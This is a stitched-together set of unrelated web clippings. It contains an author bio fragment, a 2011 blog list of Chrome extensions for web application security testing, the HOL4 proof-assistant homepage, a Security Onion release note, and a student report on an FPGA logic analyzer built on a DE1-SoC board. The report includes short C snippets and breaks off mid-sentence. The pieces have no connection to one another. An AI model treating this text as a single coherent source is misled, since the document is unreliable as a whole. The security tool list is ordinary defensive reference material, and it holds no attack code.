
## About the Author

Hal Pomeranz \(hal@deer-run.com\) has been doing IT for more than 15 years.
His favorite activity is being up at midnight on New Year's Eve so he can hear
the disk drives on his log servers spin as the logging directory hierarchy for
the new year is created.

# List of Chrome Browser Extensions for Security Analysts | a4apphack
**Created:**| _4/21/2011 10:26:05 AM_  
---|---  
**Updated:**| _4/21/2011 10:26:05 AM_  
**Author:**| __  
**Tags:**| _web-app-sec pentest_  
  

## List of Chrome Browser Extensions for Security Analysts

Posted by rajivvishwa On April - 16 - 2011

<img src='img/Temp2_4955.png' />

List of chrome browser extensions that can be useful while performing
application security assessments. Some of the extensions are already discussed
earlier in our blog. On the sidenote, a similar collection exists for Firefox
users – check SecFox at Mozilla Addons Collection site

_**Note: Below table will be updated regularly. If you find any addons that
are not listed but might be useful while conducting pentests, please mention
in comments.  
**_

Name| Description| Chrome Store URL| Developer| Keywords  
---|---|---|---|---  
AntiXSS | detect possible weak points and xss attacks| Chrome WebStore Link| | XSS, Scanner  
BuiltWith| BuiltWith is a web site profiler tool. Displays the frameworks and
other libraries with which that website is built| Chrome WebStore Link| link|
Application Fingerprinting  
Chrome IE Tab Multi| Run ActiveX controls on Chrome| Chrome WebStore Link|
link| ActiveX testing  
Chrome Sniffer| This extension will help web developer to inspect web
framework / CMS and javascript library running on current browsing website. An
icon will appear on address bar indicates the detected framework. Version
detecting is being implemented.| Chrome WebStore Link| link| Application
Fingerprinting  
Domain Details| Domain Details provides the following information on the site
you are visiting:  
  
\- Server IP Address  
\- Server's Location. Based on a Geo IP database in the extension, does not
poll an external service.  
\- Server Software. Shows icons for common servers.  
\- View server response headers within the extension  
\- Domain Whois Links| Chrome WebStore Link| link| Network Fingerprinting  
Edit This Cookie| This extension lets you:  
Delete all cookies in a page, Delete only the chosen cookie on a page, Edit any cookie, Add a new cookie, Search a cookie, Protect a cookie \(read-only\), Block cookies \(cookie filter\)| Chrome WebStore LinkChrome WebStore Link| | Cookie Editor, Session Management/Fixation  
Firebug Lite| Firebug Lite is not a substitute for Firebug, or Chrome
Developer Tools. It is a tool to be used in conjunction with these tools.
Firebug Lite provides the rich visual representation we are used to see in
Firebug when it comes to HTML elements, DOM elements, and Box Model shading.
It provides also some cool features like inspecting HTML elemements with your
mouse, and live editing CSS properties.| Chrome WebStore Link| link| Dynamic
Frontend Manipulation/Injection, Bypass Client Side Validations  
Form Fuzzer| Fuzz testing utility I created to assist in populating web forms
with some random data.| Chrome WebStore Link| link| Parameter
Manipulation/Injection  
JSONView for Chrome| JSONView for chrome is an extension that helps you to
parse and view JSON documents| Chrome WebStore Link| link| Helper Extension  
Latest Sophos Security Alerts | Displays the Sophos security alerts direct in your browser| Chrome WebStore Link| | Helper  
Pendule| convert POSTs to GETs, Remove Maxlength, view selection source
\(syntax highlighted code appears in a new  
tab, similar to built-in view source functionnality\)| Chrome WebStore Link| | Dynamic Frontend Manipulation/Injection, Bypass Client Side Validations  
Proxy Switchy\!| Proxy Switchy\! is an advanced proxy manager for Google
Chrome, it allows users to manage and switch between multiple proxy profiles
quickly and easily.| Chrome WebStore Link| link| Proxy Tools  
Simple REST Client| Simple REST Client is an extension for Google Chrome to
help construct custom  
HTTP requests to directly test your web services.  
  
Select the URL, method, fill the headers and body if necessary.  
Click Send.  
Analyze response headers and body.| Chrome WebStore Link| link| Parameter
Manipulation/Injection  
Swap My Cookies | Swap My Cookies is a session manager, it manages your cookies, letting you login on any website with several different accounts. You can finally login into gmail, yahoo, hotmail, and just any website you use, with all your accounts; if you want to use another account just swap profile\!| Chrome WebStore Link| | Session Fixation/Management  
Unencrypted Password Warning| Unencrypted Password Warning detects whether a password or credit card number is about to be sent with a form that does not use HTTPS.| Chrome WebStore Link| | Detects Security Flaw  
User-Agent Switcher for Chrome| The extension allows you to set a specific
filtering list, so it will automatically switch user-agent strings based on
the domain or URL you specify. Also, it will use and auto-update a list of
sites known to use incorrect user-agent sniffing \(which can be disabled.\)|
Chrome WebStore Link| link| Mobile Security Testing, Client-side Bypass  
Web Developer| Official port of the popular Web Developer extension for
Firefox.convert POSTs to GETs, Remove Maxlength, view selection source
\(syntax highlighted code appears in a new  
tab, similar to built-in view source functionnality\)| Chrome WebStore Link|
link| Dynamic Frontend Manipulation/Injection, Bypass Client Side Validations  
Websecurify| Websecurify is a powerful web application security testing
platform designed from the ground up to provide the best combination of
automatic and manual vulnerability testing technologies.  
  
This extension is useful to anyone who wants to quickly assess the security of
their web applications.  
| Chrome WebStore Link| link| Web Page Scanner  
XSS Rays| Complete XSS reversing/scanner tool. Find how a site is filtering
code, check for injections and inspect objects.| Chrome WebStore Link| link|
XSS, Scanner

# HOL4 Kananaskis 7

**Created:**| _2/4/2012 11:10:50 AM_  
---|---  
**Updated:**| _2/4/2012 11:10:59 AM_  
**Author:**| __  
**Tags:**| _Theorem solver_  
  

HOL4

Kananaskis 7

<img src='img/Temp2_3552.gif' width='96' height='120' alt='[HOL logo]' /> |  |  Easier to use: | easy installation, bugs fixed\!  
---|---  
Cool examples: |  ARM6, λ-calculus, ACL2, Verified Lisp  
New libraries:| SMT tool integration, fixed-width integers \(words\)  
New documentation:| Extended Description, DPLL example, ...  
<img src='img/Temp2_3547.gif' width='224' height='111' alt='[Picture of Lake
Kananaskis taken by Alan Kane (akane@cadvision.com)]' />  
|  Release notes | Documentation |  FAQ |  Online reference |  Emacs mode |  Installing from Sources  |  Windows installer |  HOL@S/F | Anon SVN | HOLω | 
What is HOL4?

    
HOL4 is the latest version of the HOL interactive proof assistant for higher
order logic: a programming environment in which theorems can be proved and
proof tools implemented. Built-in decision procedures and theorem provers can
automatically establish many simple theorems \(users may have to prove the
hard theorems themselves\!\) An oracle mechanism gives access to external
programs such as SMT and BDD engines. HOL4 is particularly suitable as a
platform for implementing combinations of deduction, execution and property
checking.

Other HOLs are described elsewhere.

Downloads

    
  * Sources \(and also, via Subversion\) 
  * Windows installer

History

     During the last 20 years there have been several widely used versions of the HOL system: 
  1. HOL88 from Cambridge; 
  2. HOL90 from Calgary and Bell Labs; 
  3. HOL98 from Cambridge, Glasgow and Utah. 

HOL4 is the successor to these. Its development was partly supported by the
PROSPER project. HOL4 is based on HOL98 and incorporates ideas and tools from
HOL Light. The ProofPower system is another implementation of HOL. It was
originally developed by ICL, but is now freely available from Lemma 1. All the
HOL systems use Robin Milner’s LCF approach.

How easy is it to learn?

     Starting from scratch, it takes on average about a month to become comfortable using HOL. Many people learn the system from the free tutorial, others take courses that are offered from time to time. 
Support and licencing

     <img src='img/Temp2_3548.gif' width='150' height='40' alt='[SourceForge Logo]' />
HOL4 is an open source project with a BSD-style licence that allows its free
use in commercial products. New developers are welcome.

Support and information is available online:

  * the **hol-info** mailing list is for discussion, questions and announcements related to the HOL System \(HOL4 and HOL Light discussions are both welcome\)
    * \[hol-info@lists.sourceforge.net | subscribe | archives\] 
  * **Bug reports:** click here. 

* * *
HOL is developed by researchers at \(among other places\):

<img src='img/Temp2_3549.gif' alt='[University of Cambridge]' />

<img src='img/Temp2_3551.gif' alt='[NICTA]' />

<img src='img/Temp2_3550.gif' alt='[University of Utah]' />

* * *
Time-stamp: "Monday, 15 August 2011; 02:33 UTC \(Michael Norrish\)"

Vimium has been updated to 1.30.x

# PF\_RING 6.6.0 and Suricata 3.2.2 now available for Security Onion\!

**Created:**| _6/29/2017 3:48:24 PM_  
---|---  
**Updated:**| _6/29/2017 3:48:24 PM_  
**Author:**| __  
**Tags:**| __  
  

  

###  PF\_RING 6.6.0 and Suricata 3.2.2 now available for Security Onion\!

The following software was recently released:  
  
PF\_RING 6.6.0:  
http://www.ntop.org/pf\_ring/pf\_ring-6-6-just-released/  
  
Suricata 3.2.2  
https://suricata-ids.org/2017/06/07/suricata-3-2-2-available/  
  
The following packages are now available:  
  
securityonion-daq - 2.0.6-0ubuntu0securityonion7  
securityonion-pfring-daq - 20121107-0ubuntu0securityonion14  
securityonion-pfring-devel - 20121107-0ubuntu0securityonion11  
securityonion-pfring-ld - 20120827-0ubuntu0securityonion11  
securityonion-pfring-module - 20121107-0ubuntu0securityonion29  
securityonion-pfring-userland - 20170619-1ubuntu1securityonion2  
securityonion-suricata - 3.2.2-1ubuntu1securityonion1  
  
These new packages should resolve the following issues:  
  
Issue 1101: PF\_RING 6.6.0  
https://github.com/Security-Onion-Solutions/security-onion/issues/1101  
  
Issue 1102: Suricata 3.2.2  
https://github.com/Security-Onion-Solutions/security-onion/issues/1102  
  
These packages have been tested by the following \(thanks\!\):  
Wes Lambert  
Kevin Branch  
Rob Bardo  
  
**Updating**  
These packages are now available in our stable repo. Please see the following
page for full update instructions:  
https://securityonion.net/wiki/Upgrade  
  
**Want to show your support for Security Onion?**  
Security Onion t-shirts are available in our CafePress store\!  
http://www.cafepress.com/securityonion/11820053  
  
**Conference**  
Security Onion Conference will be on Friday September 15 in beautiful Augusta,
GA\!  
https://securityonion.net/conference  
  
**Training**  
Need training? Please see:  
https://securityonionsolutions.com  
  
**Support**  
Need support? Please see:  
https://securityonion.net/wiki/Support  
  
Thanks\!  

  

Posted by  Doug Burks at 1:31 PM <img src='img/7853_icon18_email.gif'
width='18' height='13' />

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: pf\_ring, security onion, suricata

  

  *[1:31 PM]: 2017-06-27T13:31:00-04:00

# ECE 5760 Logic Analyzer debugging FPGA

**Created:**| _5/20/2017 8:54:16 PM_  
---|---  
**Updated:**| _5/20/2017 8:54:16 PM_  
**Author:**| __  
**Tags:**| _fpga_  
  

  

# ECE 5760: Final Project

# Logic Analyzer

## HPS-powered Logic Analyzer debugging FPGA

###  Mohammad Dohadwala \(md874@cornell.edu\)

<img src='img/Temp2_2506.png' width='576' height='432' alt='Overall Layout' />

<img src='img/Temp2_2504.png' width='576' height='432' alt='Overall Layout' />

###### Video:**Final product demonstration**

## Abstract **top**

With increase in size of FPGA, the complexity of design implemented on FPGA is
also increasing. In often cases, the design works fine on simulation but
behaves differently on hardware. So, there arises a need to debug/monitor
buses/signals on FPGA. This task is primarily accomplished by using state-of-
the-art logic analyzer IP provided by FPGA vendor e.g. The SignalTap® II
Embedded Logic Analyzer \(ELA\) from Altera and The Integrated Logic Analyzer
\(ILA\) from Xilinx. Both are system-level debugging tool that captures and
displays real-time signals in a FPGA design. By using logic analyzer in
systems, designers can observe the behavior of hardware \(such as peripheral
registers, memory buses, and other on-chip components\) in response to
software execution. However, these logic analyzers present some major
challenges. The two most important drawbacks of using such logic analyzers are
– \(1\) the amount of data that can be captured is limited by the amount of
memory blocks available on a FPGA device; \(2\) with increase in the capture
depth, the area occupied by the logic analyzer IP also increases. These
drawbacks pose a major obstacle in debugging. This project attempts to address
this issue.

## Introduction **top**

The purpose of this project was to build a system which can be used to debug
real-time signals in a FPGA design by capturing and visualizing the signals in
real-time on VGA Monitor. The system also has a USB mouse interface which is
used to zoom in/out of the display and to scroll through the waveform. The
system implemented in this project can capture and display 32 bit signals
probed in FPGA on 640x480 VGA Monitor in real-time. Figure 2 shows the setup
for this lab. The project demo was performed using Terasic DE1-SoC development
kit built around the Altera System-on-Chip \(SoC\) FPGA combining dual-core
Cortex A9 \(HPS\) with programmable fabric.

<img src='img/Temp2_2506.png' width='576' height='432' alt='Figure 1 shows the
logic analyzer visualized using VGA monitor' />

###### Figure 1**shows the logic analyzer visualized using VGA monitor**

The system is simple to use and can be easily integrated with any complex FPGA
design. The logic analyzer design footprint on FPGA is small and consists of a
32 bit 512 deep FIFO clocked at 100MHz. The system described here has a
maximum update rate of less than 20ms, so it is possible debug FPGA design in
real-time.

The entire design is split into two parts - C on the HPS and Verilog on the
FPGA. The HPS allows user to interact with the waveform using USB mouse. The
HPS also uses a serial console to set resolution, capture depth and trigger
conditions. The HPS controls the zoom in/out of the simulation, scrolling and
various capture modes. FPGA consists of Video Subsystem, On-Chip memory for
pixel buffer, Capture FIFO, Xillybus IP core and Verilog connections generated
by Qsys. When the HPS program starts, the serial console requests user to
enter resolution and depth. It then captures the specified amount of data from
FPGA into local memory buffer and display a portion of the waveform on VGA
monitor. The C code running on HPS continuously keeps track of mouse cursor
position. On left click zoom out \(factor of 2\) happens; on right click zoom
in \(factor of 2\) happens. Also, depending on cursor position the user can
scroll through the entire waveform. By default, the analyzer runs in single
capture digital mode, but user can also switch to various other modes – single
capture analog mode \(signed/unsigned\), continuous capture digital mode,
continuous capture analog mode \(signed/unsigned\) and trigger mode
\(analog/digital\). The HPS erases the VGA screen and starts plotting the
waveform on 640x480 VGA. There is no flickering, tearing caused by the code
running on the HPS or by FPGA system.

<img src='img/Temp2_2502.png' width='576' height='432' alt='Figure 2 shows
setup for project' />

###### Figure 2**shows setup for project**

## High Level Design **top**

The main advantage of using SoC FPGA is that the user can take advantage of
processor and peripherals on HPS and build custom peripheral \(coprocessor,
accelerator, etc.\) on FPGA fabric to create bigger more robust end solutions.
The system for this lab is divided into software component \(HPS\) and
hardware component \(FPGA fabric\). Figure 3 shows the detailed block diagram
of the system.

<img src='img/Temp2_2499.png' width='576' height='353' alt='Figure 3 shows
detailed block diagram of the system' />

###### Figure 3**shows detailed block diagram of the system**

## Software **top**

The hard processor system \(HPS\), as shown in Figure 3, includes an ARM
Cortex-A9 dual-core processor and peripheral controllers such as USB,
Ethernet, SD, UART and others. The DE1-SoC board is designed to boot Linux
from an inserted microSD card. The current system runs Ubuntu Linux. A key
advantage running Linux on HPS is to leverage Linux’s built-in drivers that
support a vast array of devices, including many of the devices found on the
DE1-SoC board like the USB and Ethernet. Writing driver code for these devices
is difficult, and would significantly increase the development time of an
application that requires them. Instead, a developer can use Linux and its
driver support for these devices, allowing them to use the high-level
abstraction layers provided by the drivers to use the devices with minimal
effort.

More specifically the OS used is Xillinux: a complete, graphical, Ubuntu 12.04
LTS-based Linux distribution. Like any Linux distribution, Xillinux is a
collection of software which supports roughly the same capabilities as a
personal desktop computer running Linux. The distribution is organized for a
classic keyboard, mouse and monitor setting. It also allows command-line
control from the USB UART port, but this feature is made available mostly for
solving problems. Xillinux is also a kickstart development platform for
integration between the device’s FPGA logic fabric and plain user space
applications running on the ARM processors. With its included Xillybus IP core
and driver, no more than basic programming skills and logic design
capabilities are needed to complete the design of an application where FPGA
logic and Linux-based software work together.

<img src='img/Temp2_2505.png' width='576' height='431' alt='Figure 4 shows the
Ubuntu desktop running on Altera DE1-SoC board' />

###### Figure 4**shows the Ubuntu desktop running on Altera DE1-SoC board**

The main reason behind using this Linux distribution is that it comes with
Xillybus drivers installed. More information on hardware
implementation/interfacing of Xillybus IP will follow in the hardware section.
For now, let’s assume that Xillybus IP provides a mechanism to stream data
between FPGA and HPS in a seamless manner.

The host driver \(for xillybus\) generates device files which behave like
named pipes: They are opened, read from and written to just like any file, but
behave much like pipes between processes or TCP/IP streams. To the program
running on the host, the difference is that the other side of the stream is
not another process \(over the network or on the same computer\), but a FIFO
in the FPGA. Just like a TCP/IP stream, the Xillybus stream is designed to
work well with high-rate data transfers as well single bytes arriving or sent
occasionally.

One driver binary supports any Xillybus IP core configuration: The streams and
their attributes are auto-detected by the driver as it's loaded into the
host's operating system, and device files are created accordingly. On Linux,
they appear as /dev/xillybus\_something.

Also at driver load, DMA buffers are allocated in the host's memory space, and
the FPGA is informed about their addresses. The number of DMA buffers and
their size are separate parameter for each stream. These parameters are
hardcoded in the FPGA IP core for a given configuration, and are retrieved by
the host during the discovery process.

A handshake protocol between the FPGA and host makes an illusion of a
continuous data stream. Behind the scenes, DMA buffers are filled, handed over
to the other side and acknowledged. Techniques like those used for TCP/IP
streaming are used to ensure an efficient utilization of the DMA buffers,
while maintaining responsiveness for small pieces of data.

The standard API for read\(\) calls states that the function call’s third
argument is the \(maximal\) number of bytes to be read from the file
descriptor. Xillybus is designed to return as fast as possible, if the
read\(\) call can be completely fulfilled, regardless of if a DMA buffer has
been filled.

By convention, read\(\) may also return with less bytes than required in the
third argument. Its return value contains how many bytes were actually read.
So in theory, read\(\) could return immediately, even if there wasn’t enough
data to fully complete the request. This behavior would however cause an
unnecessary CPU load when a continuous stream of data is transferred: In
theory, read\(\) could return on every byte that arrived, even though it’s
obviously more efficient to wait a bit for more data.

The middle-way solution is that if read\(\) can’t complete all bytes
requested, it sleeps for up to 10 ms or until the number of requested bytes
has arrived. This makes read\(\)’s call behave in an intuitive manner \(a bit
like a TCP/IP stream\) without degrading CPU performance in data acquisition
applications. Therefore, when a 10 ms latency isn’t acceptable, call read\(\)
requiring as many bytes as immediately needed, not more.

Alternatively, if the stream is flagged non-blocking \(opened with the
O\_NONBLOCK flag\), read\(\) always returns immediately with as much data was
available, or with an EAGAIN status. This is another way to avoid the possible
10 ms delay, but requires proper non-blocking I/O programming skills.

The software code in C that run on HPS provides a way for user to interact via
USB mouse. The system is controlled using Switches and USB Mouse. Based on
different switch positions, mouse click and mouse position one can zoom
in/out, scroll and operate in various modes of logic analyzer. The C code
running on HPS performs 5 main tasks:

  * Read mouse input

The mouse information is in /dev/input/mice . Reading and parsing the three
bytes of information is straightforward. “read\(\)” function below returns 3
bytes corresponding to mouse clicks and change of position in X and Y
direction. By default, the mouse-read is blocking. Additional code segment is
necessary to make the device non-blocking.

// Read Mouse  
bytes = read\(fd, data, sizeof\(data\)\);  
//needed for nonblocking read\(\)  
int flags = fcntl\(fd, F\_GETFL, 0\);  
fcntl\(fd, F\_SETFL, flags | O\_NONBLOCK\);
  * Provide virtual/logical address map of slave peripherals on FPGA to HPS
  * Write to Pixel Buffer and Character Buffer residing on FPGA fabric
  * Logic Analyzer State Machine
  * Read from xillybus pipe and send to Logic Analyzer state machine
  * Display signal values on VGA \(Write to Character buffer on FPGA\)

## Hardware **top**

The FPGA fabric design used for this project is adapted from a Better Chopped
Down System adapted from DE1-SoC Computer System provided by Bruce Land . Many
modifications were required to be made on the FPGA fabric design for this
project. The FPGA fabric design, as shown in Figure 3, consists of Xillybus IP
core, design under test \(DUT\), Video Subsystem, On-chip memory and PIO
slaves. A VGA monitor is hooked up into the FPGA using a standard VGA cable
connected to the VGA port on the DE1-SoC development board.

The main hardware blocks in this project are: -

1\. Xillybus IP core  
2\. Design under test \(DUT\)  
3\. PIO input/output slave  

### Xillybus IP core

Xillybus is an FPGA IP core for easy DMA over PCIe with Windows and Linux.
Xillybus was designed with the understanding that data flow handling is where
most FPGA engineers have a hard-time, and is also a common reason for bugs.
Fluctuations in application data supply and demand tend to generate rarely
reached states in the logic, often revealing hidden bugs which are extremely
difficult to tackle.

Accordingly, Xillybus doesn't just supply a wrapper for the underlying
transport \(e.g. a AXI DMA engine\), but offers several end-to-end stream
pipes for application data transport. Below is the simplified block diagram,
showing the application of one data stream in each direction \(many more can
be connected\).

<img src='img/Temp2_2510.png' width='576' height='261' alt='Figure 5 shows
typical connections for xillybus IP core' />

###### Figure 5**shows typical connections for xillybus IP core**

As shown in the figure above, the Xillybus IP core \(the block in the middle\)
communicates data with the user logic through a standard FIFO \("Application
FIFO" above\). This gives the FPGA designer the freedom to decide the FIFO's
depth and its interface with the application logic. This setting relieves the
FPGA designer completely from managing the data traffic with the host. Rather,
the Xillybus core checks the FIFOs "empty" and "full" signals in a round-robin
manner, and initiates data transfers until the FIFOs becomes empty or full
again. On the other edge of the Xillybus IP core is connected to the Altera
Qsys bus.

Below is the simplified block diagram of the Logic Analyzer FPGA subsystem.
The Xillybus IP core \(the block in the middle\) communicates the data to be
probed through an asynchronous FIFO. The Xillybus IP is connected to the HPS
via AXI bus. The connection is handled via Qsys.

<img src='img/Temp2_2498.png' width='576' height='178' alt='Figure 6 shows
xillybus connection for this project' />

###### Figure 6**shows xillybus connection for this project**

Xillybus is used to capture 32-bit wide data from DUT. The method used is that
if the FPGA’s FIFO gets full, no data enters it afterwards, and the user
application on the host receives an EOF \(end of file\) after the last safe
piece of data has arrived. So, if the captured data is written to a file, its
length may vary, but its validity is assured.

The achieved bandwidth and latency are often a concern when designing a mixed
host / FPGA system, and their relationship with the underlying infrastructure
is not always obvious. The AMBA bus has separate signals for address and data,
so in theory, there is no overhead. The bus clock is driven by application
logic, so its frequency is chosen within an allowed range. Taking a relatively
high 100 MHz clock and a 64 bits wide data bus, we have 6.4 Gb/s = 0.8 GB/s in
each direction.

Xillybus actual data rate limit is derived primarily from the clock that
governs the IP core \(bus\_clk\) and the width of its data processing path,
which is 32 bits \(for this project\). For example, when the clock is 100 MHz,
the theoretical maximum is 4 x 100 = 400 MB/s.

Tests on hardware reveal that the typical latency is in the range of 10-50μs
from a read\(\) command until the arrival at the FIFO on the FPGA, and vice
versa. This is of course hardware-dependent. There are two main sources of
excessive latencies, both of which can be eliminated:

  * Improper programming practices, causing unwanted delays
  * CPU starvation by the operating system

### Design under test \(DUT\)

The design under test \(DUT\) consists of four different modules – 32-bit
counter, 4-bit square wave generator, 4-bit sine wave generator and 4-bit
triangular waveform generator. Figure 7 shows Verilog snippet of the same.
Note that at a time only one of the four signal is connected to the
Asynchronous FIFO for probing. The select signal is mapped to slider switch on
board.

<img src='img/Temp2_2511.png' width='576' height='305' alt='Figure 7 shows the
code snippet for DUT' />

###### Figure 7**shows the code snippet for DUT**

### PIO input slave

The slider switch is connected to Parallel IO bus slave. The SW9-0 slider
switches on the DE1-SoC board are connected to an input parallel port. As
illustrated in Figure 8, this port comprises a 10-bit read-only Data register,
which is mapped to address 0xFF200040.

<img src='img/Temp2_2507.png' width='576' height='145' alt='Figure 8 shows
data register for slider switch parallel port' />

###### Figure 8**shows data register for slider switch parallel port**

As discussed in HPS section, the signals are captured on FPGA, sent to HPS and
displayed on VGA by HPS \(via write to Character buffer\). The fabric design
also includes a 256-Kbyte memory that is as 64K x 32 bits, and spans addresses
in the range 0xC8000000 to 0xC803FFFF. The memory is used as a pixel buffer
for the video-out ports. It also includes an 8-Kbyte memory implemented inside
the FPGA that is used as a character buffer for the video-out port. The
character buffer memory is organized as 8K x 8 bits, and spans the address
range 0xC9000000 to 0xC9001FFF.

The Qsys tool is used in conjunction with the Quartus Prime CAD software. It
allows the user to easily create a system based on the ARM HPS/Nios II
processor, by simply selecting the desired functional units and specifying
their parameters. Figure 9 shows Qsys layout for the system implemented for
this lab. Qsys provides an abstraction to connect external bus master and bus
slaves implemented in FPGA with the HPS. Qsys also provides the address
mapping that can be used by the HPS to access peripherals on the fabric.

There are two HPS-FPGA bridge and one FPGA-HPS bridge for communication
between HPS and FPGA. All slave peripherals like output and input PIO slave on
the FPGA are connected to Lightweight HPS-FPGA bridge \(0xFF20\_0000\).

As shown in figure 9 there are two Xillybus IP core connected to HPS – one
provides full 32-bit interface while the lite provides only 8-bit user
interface. Currently output of DUT is connected for probe purpose. The 32-bit
counter is connected to the ASYNC FIFO that in turn is connected to 32-bit
interface of Xillybus IP core.

<img src='img/Temp2_2509.png' width='576' height='263' alt='Figure 9 shows
Qsys layout of the system' />

###### Figure 9**shows Qsys layout of the system**

### HPS-FPGA Communication

Once the board is powered-on and MSEL\[4:0\] is set to 5’b01010, HPS boots
Linux from the microSD card with default FPGA bitstream \(DE1-SoC Computer\).
After some modifications in “/etc/init.d/programfpga”, the default FPGA
bitstream can be changed to configure the system designed for this lab. Now
FPGA is programmed with all peripheral components and HPS is running Linux.
For HPS to be able to communicate with the bus slave interface, the actual
physical address \(generated by Qsys\) of the bus slave peripheral needs to be
memory mapped to assign a virtual or logical address. HPS can then use the
virtual address to read/write to slave peripherals residing on the FPGA.

// get virtual addr that maps to physical  
h2p\_lw\_virtual\_base = mmap\( NULL, HW\_REGS\_SPAN,  
\( PROT\_READ | PROT\_WRITE \), MAP\_SHARED, fd, HW\_REGS\_BASE \);   
if\( h2p\_lw\_virtual\_base == MAP\_FAILED \) \{  
printf\( "ERROR: mmap1\(\) failed...\n" \);  
close\( fd \);  
return\(1\);  
\}

The above code maps the physical base-address of the light-weight HPS-FPGA
bridge to virtual address. Any of the peripherals connected to this bus can be
access by adding corresponding offset to the virtual base address. It is
important to use volatile type pointers that point to slave peripherals so
that the values don’t get cached\! For e.g. pio\_ptr is a volatile pointer
that points to the virtual base address of PIO input slave. Reading value from
that address essentially results in reading slider switch position on board.

// Get the address that maps to the FPGA PIO input slave  
pio\_ptr =\(unsigned int \*\)\(h2p\_lw\_virtual\_base\);

## State Machine **top**

The logic analyzer state machine is the central unit that takes input from
user, configures LA in a particular mode and displays waveform on VGA monitor.
The state machine takes input from on board switches that are connected as PIO
input slave to HPS as well as USB mouse. The VGA monitor is 640x480
resolution. Out of which only 512x452 is used to display actual waveform. Rest
of the space is used to display signal values, resolution and depth.

Below are some of the salient features of the logic analyzer implemented in
this project:

1\. Change Resolution  
2\. Change Depth  
3\. Continuous Mode  
4\. Single Capture Mode  
5\. Digital Mode  
6\. Analog Mode a. Unsigned  
b. Signed  
7\. Zoom in/out from origin  
8\. Scroll through the screen  
9\. Trigger Mode  a. Set Trigger position  

Figure 10 and 11 shows the state machine running on HPS. The state transition
depends on the switch position and the mouse events that controls the flow for
the logic analyzer. When application starts, it requests user to enter
resolution and capture depth values. If SW0 is 0 then the analyzer enters
single capture mode; captures depth amount of data from FPGA to HPS and
displays it on VGA monitor. The display format depends on position of SW1. If
SW1 is 0 then the display is in digital mode else it is in analog mode. Analog
mode also supports signed and unsigned representation of signal values. If
however SW0 is 1, then continuous capture mode is set wherein the application
continuously streams data from FPGA to HPS, updates local buffer and displays
the waveform on VGA monitor. All capture mode supports digital, signed analog
and unsigned analog mode.

In order to facilitate debugging, mouse interface is supported. This allows
user to scroll through the entire waveform as well as zoom in/out of the
waveform. The application also displays a marker based on the cursor position,
shows individual signal values on the left side and also shows bus value on
top right corner of the screen.

The analyzer also supports basic trigger mode that asks user to enter trigger
value. The application then continuously captures data from FPGA unless the
trigger value is captured. When trigger is hit, the waveform pauses allowing
user to further analyze the behavior at trigger point.

<img src='img/Temp2_2503.png' width='576' height='329' alt='Figure 10 shows
state machine controlling various modes' />

###### Figure 10**shows state machine controlling various modes**

<img src='img/Temp2_2495.png' width='576' height='336' alt='Figure 11 shows
dependency of mouse events on state machine' />

###### Figure 11**shows dependency of mouse events on state machine**

## Results **top**

For results, view the linked video on this page. In terms of the ability of
the system to debug the design, the system can debug 32 bit signal clocked at
100MHz on FPGA with capture depth as high as few hundred million samples. This
is very high as compared to 128K samples provided by Signal Tap II ELA and
Xilinx ILA. Also, the footprint of the design is negligible since all the data
is being buffered on the HPS side. The system has various modes of operation
like the standard LA as well as an analog mode for visualizing/debugging DSP
signals. The DUT used in this project consisted of square, sinusoidal,
triangular and sawtooth signals. The system is able to capture and analyze
different signals using digital, signed analog and unsigned analog mode. There
was no flickering or visual artifact due to HPS or FPGA design. The project is
fairly usable by anyone, and just requires someone to plug in this hardware to
any FPGA design and then run the HPS application to debug the design. The data
throughput and latency is very good – the AXI bus is clocked at 100MHz and 32
bit wide providing a maximum transfer rate of 400MB/s.

Here are few images that show various DUT signal in analog and digital mode.

<img src='img/Temp2_2496.png' width='576' height='432' alt='Figure 12 ' />

###### Figure 12**shows full zoom out of 32-bit counter in digital mode with a
resolution of 2 pixel/sample**

<img src='img/Temp2_2501.png' width='576' height='432' alt='Figure 13 ' />

###### Figure 13**shows full zoom out of 32-bit counter in unsigned analog
mode with a resolution of 2 pixel/sample**

<img src='img/Temp2_2508.png' width='576' height='432' alt='Figure 14 ' />

###### Figure 14**shows full zoom out of 32-bit counter in signed analog mode
with a resolution of 2 pixel/sample**

<img src='img/Temp2_2497.png' width='576' height='432' alt='Figure 15 ' />

###### Figure 15**shows full zoom out of 4-bit triangular waveform in unsigned
analog mode with a resolution of 2 pixel/sample**

<img src='img/Temp2_2494.png' width='576' height='432' alt='Figure 16 ' />

###### Figure 16**shows full zoom out of 4-bit square waveform in unsigned
analog mode with a resolution of 2 pixel/sample**

<img src='img/Temp2_2500.png' width='576' height='432' alt='Figure 17 ' />

###### Figure 17**shows full zoom out of 4-bit sinusoidal waveform in signed
analog mode with a resolution of 2 pixel/sample**

### Issues Faced and Future Work

I hit many roadblocks throughout the project. I spent considerable amount of
time trying to port Xillybus on Debian OS \(used for this course\). There were
various problems that I encountered. One of the major problem was that since
Xillybus is a soft IP on FPGA, the kernel doesn’t know if it is present or not
or which address it is mapped to. All this information goes into device tree
file \(.dtb\). The procedure to generate .dtb from source is complicated and
not documented very well. I also tried manually installing driver for xillybus
but didn’t work.

Another issue was with Ubuntu OS used for this project. Xillybus has no issues
with this OS. However, I was not able to figure out how to fix ethernet issue.
DNS mapping failed. Able to ping to the local router but couldn’t ping outside
this network.

One of the possible extension of this project would be to add more advanced
trigger options such as GTE, LTE, AND, OR, etc. as well as bit rising, bit
falling, bit toggling. Another good feature would be to add more probe signals
and have a way to add/delete signals on the monitor display.

A more sophisticated and perhaps more useful extension of this project would
be to convert the data captured on HPS into .vcd format, send it across
ethernet interface and write it on remote server/storage. That way very long
and detailed trace of FPGA design can be captured and stored in .vcd format.
Since .vcd format is standard, the stored waveform dump can then be opened at
a later point of time and analyzed using standard waveform viewer.

## Conclusions **top**

The design and implementation of **Logic Analyzer: FPGA debugging itself** was
a success. Overall, I am happy with the outcome of the project. In addition to
learning even more about Verilog, I also learned a lot of about hardware more
specifically the new hardware-software co-design paradigm. Although there is
still room for improvement in this project, I think this project can be
directly used for debugging purpose. I also think that the Xillybus
infrastructure I used in this project would be helpful for students in ECE5760
for fast and robust HPS-FPGA communication. While it was a challenging
project, I am glad that I decided to do it.

###  Intellectual Property Considerations

The project is based on Better chopped down version of DE1 SoC Computer System
by Prof. Bruce Land. The project also used Xillybus IP core from xillybus
under the no-fee Educational license.

### Legal Considerations

As far as I am aware, there are no legal implications of this project.

## Appendix **top**

### A. Program Listing

The source file for the project can be downloaded here . This file is not
meant to be distributed and must be referenced when using all or portions of
it.

### B. Quartus Design Project

The source file for the project can be downloaded here . This file is not
